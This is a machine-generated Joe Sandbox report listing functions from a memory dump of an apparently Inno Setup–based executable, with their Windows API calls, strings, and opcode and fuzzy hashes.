Instruction ID: a3beb9442be635481dc24a528bf80296f5a6403aa298a4e6fe1161b8e304ba10
Opcode Fuzzy Hash: bb799306ba89914f4ad5c57bf57863a6c2a35b94d1ae8b7cd1197278bb0a2066
Instruction Fuzzy Hash: 46F09C70294B46B5E610A6758C17F3B71889B44759F94483AFE05EE1C3EBBCD90C4A3E

Function 0045CFA8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045CFB1
GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045CFC1
GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045CFD1
ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,0047EFB7,00000000,0047EFE0), ref: 0045CFF6

Strings

ISCryptGetVersion, xrefs: 0045CFAB
ArcFourCrypt, xrefs: 0045CFCB
ArcFourInit, xrefs: 0045CFBB

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: AddressProc$CryptVersion
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 1951258720-508647305
Opcode ID: 85d4af24599792157b57fa29dc23e54678ac232aa88ac9caf84ed8bf40255b48
Instruction ID: aa10fef992bac70bb4986ae7772dd6d371a0f40a2d4a4027d6f3d37c18d15e1e
Opcode Fuzzy Hash: 85d4af24599792157b57fa29dc23e54678ac232aa88ac9caf84ed8bf40255b48
Instruction Fuzzy Hash: A1F0F9B0940700DBE728EFB6ACC67267795EBE570AF54813BA409911A2D7784499CB1C

Function 004975B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,004976EE,?,?,00000000,0049B628,?,00497878,00000000,004978CC,?,?,00000000,0049B628), ref: 00497607
SetFileAttributesA.KERNEL32(00000000,00000010), ref: 0049768A
FindNextFileA.KERNEL32(000000FF,?,00000000,004976C6,?,00000000,?,00000000,004976EE,?,?,00000000,0049B628,?,00497878,00000000), ref: 004976A2
FindClose.KERNEL32(000000FF,004976CD,004976C6,?,00000000,?,00000000,004976EE,?,?,00000000,0049B628,?,00497878,00000000,004978CC), ref: 004976C0

Strings

isRS-???.tmp, xrefs: 004975F1
isRS-, xrefs: 00497627

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: 9a85730e70ae0ef94d3f90e2644594d3b330f28a48244bbcf8e97e2e49ccae5c
Instruction ID: ac0d863a46ff1cebd9ad17e119327f8a53363d7c8f83829e6742a95b9ddb5555
Opcode Fuzzy Hash: 9a85730e70ae0ef94d3f90e2644594d3b330f28a48244bbcf8e97e2e49ccae5c
Instruction Fuzzy Hash: 61317471914608ABCF10EF65CC41ADEBBBCDB45714F5184FBA908E32A1DB389E458F58

Function 004573B4 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 241windownativeCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457431
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 00457458
SetForegroundWindow.USER32(?), ref: 00457469
NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,00457741,?,00000000,0045777D), ref: 0045772C

Strings

Cannot evaluate variable because [Code] isn't running yet, xrefs: 004575AC

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: MessagePostWindow$ForegroundNtdllProc_
String ID: Cannot evaluate variable because [Code] isn't running yet
API String ID: 2236967946-3182603685
Opcode ID: 940e73e70c62a340de322ee314cac5bbcdf296114091b71c1d6fda21dc567a05
Instruction ID: ea769b4c14fff8c8931e63d970561434c834200915b3ece1ca1c477b8b524b3f
Opcode Fuzzy Hash: 940e73e70c62a340de322ee314cac5bbcdf296114091b71c1d6fda21dc567a05
Instruction Fuzzy Hash: A591E234608204EFD715CF55E9A1F5ABBF9FB49704F2180BAE80497792C638AE05DF58

Function 00417CC8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417D07
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D25
GetWindowPlacement.USER32(?,0000002C), ref: 00417D5B
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D82

Strings

,, xrefs: 00417D49

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID: ,
API String ID: 568898626-3772416878
Opcode ID: e47ccc7c96dd650ee5aa99fe86ba7015ba4d078f2208ea4d0e2f2c43afaedfea
Instruction ID: 4a262c2e3c05075ab76cb34d6dc8316acc681754e7f1d5d7fcc9d539da6ecccc
Opcode Fuzzy Hash: e47ccc7c96dd650ee5aa99fe86ba7015ba4d078f2208ea4d0e2f2c43afaedfea
Instruction Fuzzy Hash: A9213E716002089BDF10EFA9D8C0ADA77B8AF58314F15416AFE19DF246D638ED44CBA8

Function 00463B04 Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,00463CC1), ref: 00463B35
FindFirstFileA.KERNEL32(00000000,?,00000000,00463C94,?,00000001,00000000,00463CC1), ref: 00463BC4
FindNextFileA.KERNEL32(000000FF,?,00000000,00463C76,?,00000000,?,00000000,00463C94,?,00000001,00000000,00463CC1), ref: 00463C56
FindClose.KERNEL32(000000FF,00463C7D,00463C76,?,00000000,?,00000000,00463C94,?,00000001,00000000,00463CC1), ref: 00463C70

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: 9e4b21a255c9957acc66722b8fb030e028549ea653889a09ad31eb4a852fe968
Instruction ID: 72b898f2585741bb0186620e4596b31eb4d76daf54761f31677757d41602065f
Opcode Fuzzy Hash: 9e4b21a255c9957acc66722b8fb030e028549ea653889a09ad31eb4a852fe968
Instruction Fuzzy Hash: E941B971A00A54AFCB10EF65CC55ADEB7B8EB88705F4044BAF404B7381E67C9F488E19

Function 00463F80 Relevance: 7.6, APIs: 5, Instructions: 129fileCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001,00000000,00464167), ref: 00463FF5
FindFirstFileA.KERNEL32(00000000,?,00000000,00464132,?,00000001,00000000,00464167), ref: 0046403B
FindNextFileA.KERNEL32(000000FF,?,00000000,00464114,?,00000000,?,00000000,00464132,?,00000001,00000000,00464167), ref: 004640F0
FindClose.KERNEL32(000000FF,0046411B,00464114,?,00000000,?,00000000,00464132,?,00000001,00000000,00464167), ref: 0046410E

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Find$File$CloseErrorFirstModeNext
String ID:
API String ID: 4011626565-0
Opcode ID: c09ef32585df6ad6587d46f89372b88c2f663d9922c9a38294b644e1f7da4993
Instruction ID: c50a8f924641f435bcadfb0116f3895028b18db14577d5a571763064cbfe8c6c
Opcode Fuzzy Hash: c09ef32585df6ad6587d46f89372b88c2f663d9922c9a38294b644e1f7da4993
Instruction Fuzzy Hash: 77417674A00A18DFCB11EFA5CD859DEB7B8FB88315F4044AAF804A7341E7789E858E59

Function 0042E92C Relevance: 7.6, APIs: 5, Instructions: 50fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F13,00000000,00452F34), ref: 0042E94E
DeviceIoControl.KERNEL32(00000000,0009C040,?,00000002,00000000,00000000,?,00000000), ref: 0042E979
GetLastError.KERNEL32(00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F13,00000000,00452F34), ref: 0042E986
CloseHandle.KERNEL32(00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F13,00000000,00452F34), ref: 0042E98E
SetLastError.KERNEL32(00000000,00000000,00000000,C0000000,00000001,00000000,00000003,02000000,00000000,?,?,?,?,00452F13,00000000,00452F34), ref: 0042E994

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: ErrorLast$CloseControlCreateDeviceFileHandle
String ID:
API String ID: 1177325624-0
Opcode ID: d6b6e6a3c56c44dba96863f891d7151671ed351fcb177b64f87cc52fc7469355
Instruction ID: 3f40d390e8a5df174f84cdc2f44e01f6cfa8788c97922530efddc0b1fccee370
Opcode Fuzzy Hash: d6b6e6a3c56c44dba96863f891d7151671ed351fcb177b64f87cc52fc7469355
Instruction Fuzzy Hash: 31F0CDB23A17207AF520717A5C86F6B018CC789B68F10823BBB04FF1C1E9A85D0545AD

Function 00482EF8 Relevance: 6.0, APIs: 4, Instructions: 47windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00482F36
GetWindowLongA.USER32(00000000,000000F0), ref: 00482F54
ShowWindow.USER32(00000000,00000005,00000000,000000F0,0049C0A4,0048241A,0048244E,00000000,0048246E,?,?,?,0049C0A4), ref: 00482F76
ShowWindow.USER32(00000000,00000000,00000000,000000F0,0049C0A4,0048241A,0048244E,00000000,0048246E,?,?,?,0049C0A4), ref: 00482F8A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$Show$IconicLong
String ID:
API String ID: 2754861897-0
Opcode ID: 9bd873c9f0220d19758c381c5bb4dd0340ed2cd746ce77723441eba7bf105e49
Instruction ID: 41c7b109e84caadfbd7bdb59434551f42a7ac603c048c530ac1057f10a9e5501
Opcode Fuzzy Hash: 9bd873c9f0220d19758c381c5bb4dd0340ed2cd746ce77723441eba7bf105e49
Instruction Fuzzy Hash: F30152742452009FD600F7A58E89B6B33E55B14304F480977BB009F2E6CAADD841E71C

Function 00462578 Relevance: 4.6, APIs: 3, Instructions: 67fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,0046264C), ref: 004625D0
FindNextFileA.KERNEL32(000000FF,?,00000000,0046262C,?,00000000,?,00000000,0046264C), ref: 0046260C
FindClose.KERNEL32(000000FF,00462633,0046262C,?,00000000,?,00000000,0046264C), ref: 00462626

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Find$File$CloseFirstNext
String ID:
API String ID: 3541575487-0
Opcode ID: b00d8aacf9e7513e04c7705060d933e78633390233e65912034b0f0047bc0786
Instruction ID: 35f3f22b183c5d1ecd4ea1753066c09f008546f1eb4ef8afe9bdb694ca888e99
Opcode Fuzzy Hash: b00d8aacf9e7513e04c7705060d933e78633390233e65912034b0f0047bc0786
Instruction Fuzzy Hash: 07210B31904B047ECB11EB75CC41ACEBBBCDB49304F5084F7A808E21A1E6789E55CE5A

Function 004241D4 Relevance: 4.5, APIs: 3, Instructions: 32windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 004241DC
SetActiveWindow.USER32(?,?,?,0046CB73), ref: 004241E9

Part of subcall function 00423644: ShowWindow.USER32(00410648,00000009,?,00000000,0041ED9C,00423932,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C04), ref: 0042365F

Part of subcall function 00423B0C: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000013,?,022125AC,00424202,?,?,?,0046CB73), ref: 00423B47

SetFocus.USER32(00000000,?,?,?,0046CB73), ref: 00424216

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$ActiveFocusIconicShow
String ID:
API String ID: 649377781-0
Opcode ID: 362a53b09b72621cbce2071a633a460a23dddc7e90100e91eac1f534d9fc78be
Instruction ID: 7ea1460413e76a83717bea1d3364086182948ca7ce33fd4e030d283203b7bb74
Opcode Fuzzy Hash: 362a53b09b72621cbce2071a633a460a23dddc7e90100e91eac1f534d9fc78be
Instruction Fuzzy Hash: 5BF03071B0012087CB10AFAA9885B9673B8AB48305F5500BBBD05DF357C67CDC058768

Function 00417CC6 Relevance: 3.0, APIs: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00417D07
SetWindowPos.USER32(?,00000000,?,?,?,?,00000014,?), ref: 00417D25
GetWindowPlacement.USER32(?,0000002C), ref: 00417D5B
SetWindowPlacement.USER32(?,0000002C,?,0000002C), ref: 00417D82

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$Placement$Iconic
String ID:
API String ID: 568898626-0
Opcode ID: 47b671fdedc35fdf98b71b51c82caa7697cc0af64fcddd8af6052c4a4d8e86ab
Instruction ID: 3daf342c44424aa5ce1366acdd2a80e82e5cfeaf10da0033b5167ac39e8fb95c
Opcode Fuzzy Hash: 47b671fdedc35fdf98b71b51c82caa7697cc0af64fcddd8af6052c4a4d8e86ab
Instruction Fuzzy Hash: BE017C31204108ABDB10EE69ECC1EE773A8AF59324F154166FE09CF242D638EC8087A8

Function 00417590 Relevance: 3.0, APIs: 2, Instructions: 44windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 004175BB
GetCapture.USER32 ref: 004175C4

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CaptureIconic
String ID:
API String ID: 2277910766-0
Opcode ID: 9fb93b599f870259b4000da7575617f39aed9b1e5bccbb5d02bb51a51f71ab84
Instruction ID: 3321041a09622c131d5de1c426c5b9ba37bf97161ea704a377034d17a7c99502
Opcode Fuzzy Hash: 9fb93b599f870259b4000da7575617f39aed9b1e5bccbb5d02bb51a51f71ab84
Instruction Fuzzy Hash: 2EF0AF7230564157D7209B2EC984ABB62F69F88318B54483FE419CBB61EB78DCC08658

Function 0042418C Relevance: 3.0, APIs: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00424193

Part of subcall function 00423A7C: EnumWindows.USER32(00423A14), ref: 00423AA0
Part of subcall function 00423A7C: GetWindow.USER32(?,00000003), ref: 00423AB5
Part of subcall function 00423A7C: GetWindowLongA.USER32(?,000000EC), ref: 00423AC4
Part of subcall function 00423A7C: SetWindowPos.USER32(00000000,TAB,00000000,00000000,00000000,00000000,00000013,?,000000EC,?,?,?,004241A3,?,?,00423D6B), ref: 00423AFA

SetActiveWindow.USER32(?,?,?,00423D6B,00000000,00424154), ref: 004241A7

Part of subcall function 00423644: ShowWindow.USER32(00410648,00000009,?,00000000,0041ED9C,00423932,00000000,00400000,00000000,00000000,00000000,00000000,00000000,00000001,00000000,00423C04), ref: 0042365F

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: Window$ActiveEnumIconicLongShowWindows
String ID:
API String ID: 2671590913-0
Opcode ID: dcd3cf20cd52624e3855be4655b1b3d00803fdb590b5af4931fd0619bf418583
Instruction ID: 714e4cd20337d44954868cb88e5cd3c5f05620b237e6b6751f152470bbecd415
Opcode Fuzzy Hash: dcd3cf20cd52624e3855be4655b1b3d00803fdb590b5af4931fd0619bf418583
Instruction Fuzzy Hash: 47E01AA070011087EB10AF69DCC9B9632A8BB4C304F5501BABD49CF25BD63CC8608728

Function 0045D05C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,?,?,?), ref: 0045D067

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: 47a938482607ff708c7ba3b07c2d2a6c765e1a89700bf01dade5fb09ed1c08ae
Instruction ID: 2e238a974be0c8424367b3c35ccc205e7f0a308c5ec670be841bb4718b7179ff
Opcode Fuzzy Hash: 47a938482607ff708c7ba3b07c2d2a6c765e1a89700bf01dade5fb09ed1c08ae
Instruction Fuzzy Hash: 37C09BF200420CBF660057D5ECC9C77B75CF6586547508126F6048210195726C104574

Function 0045D074 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

ArcFourCrypt._ISCRYPT(?,00000000,00000000,000003E8,0046D934,?,0046DB15), ref: 0045D07A

Memory Dump Source

Source File: 00000003.00000002.3047602013.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.3047575301.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047680147.0000000000499000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047705339.000000000049A000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047737646.000000000049B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.3047772691.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_NqISs1vOr.jbxd

Similarity

API ID: CryptFour
String ID:
API String ID: 2153018856-0
Opcode ID: d02f27854c06b9b5253a86ca74e309db13f969305959900ff247638bb6719fe3
Instruction ID: 227689971defb3a768f182aa15824e3680876923b4d994b81e1676941902ce31
Opcode Fuzzy Hash: d02f27854c06b9b5253a86ca74e309db13f969305959900ff247638bb6719fe3
Instruction Fuzzy Hash: 9DA002B0A80300BAFD2057B05D4EF26352CA7D0F05F708465B202EA0D085A56410852C

Function 10001130 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3048728869.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.3048702648.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3048749095.0000000010002000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_NqISs1vOr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction ID: 1c94840b05858ddf3503627acbaac9226f9c4a6e1659969bf0a936c2f155f8a0
Opcode Fuzzy Hash: 550b9f88123d0c3b213a5d4b99e682963a3eaac5120c60ac7846f9a0f3bba5ba
Instruction Fuzzy Hash: FF11303254D3D28FC305CF2894506D6FFE4AF6A640F194AAEE1D45B203C2659549C7A2

Function 10001000 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3048728869.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000003.00000002.3048702648.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3048749095.0000000010002000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000000_NqISs1vOr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction ID: 837d35c9df4effc004866add7a9100bdfed479f04b3922bb4bd4c5469ecd81ba
Opcode Fuzzy Hash: aff350dcda9d135b5489d453054620cf61adfe11cc5af5bb48cdce25d513e1a9
Instruction Fuzzy Hash:

Function 0044B650 Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044B5FC: GetVersionExA.KERNEL32(00000094), ref: 0044B619

LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F76D,004980FE), ref: 0044B677
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044B68F
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044B6A1
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044B6B3
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044B6C5
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6D7
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044B6E9
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044B6FB
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044B70D
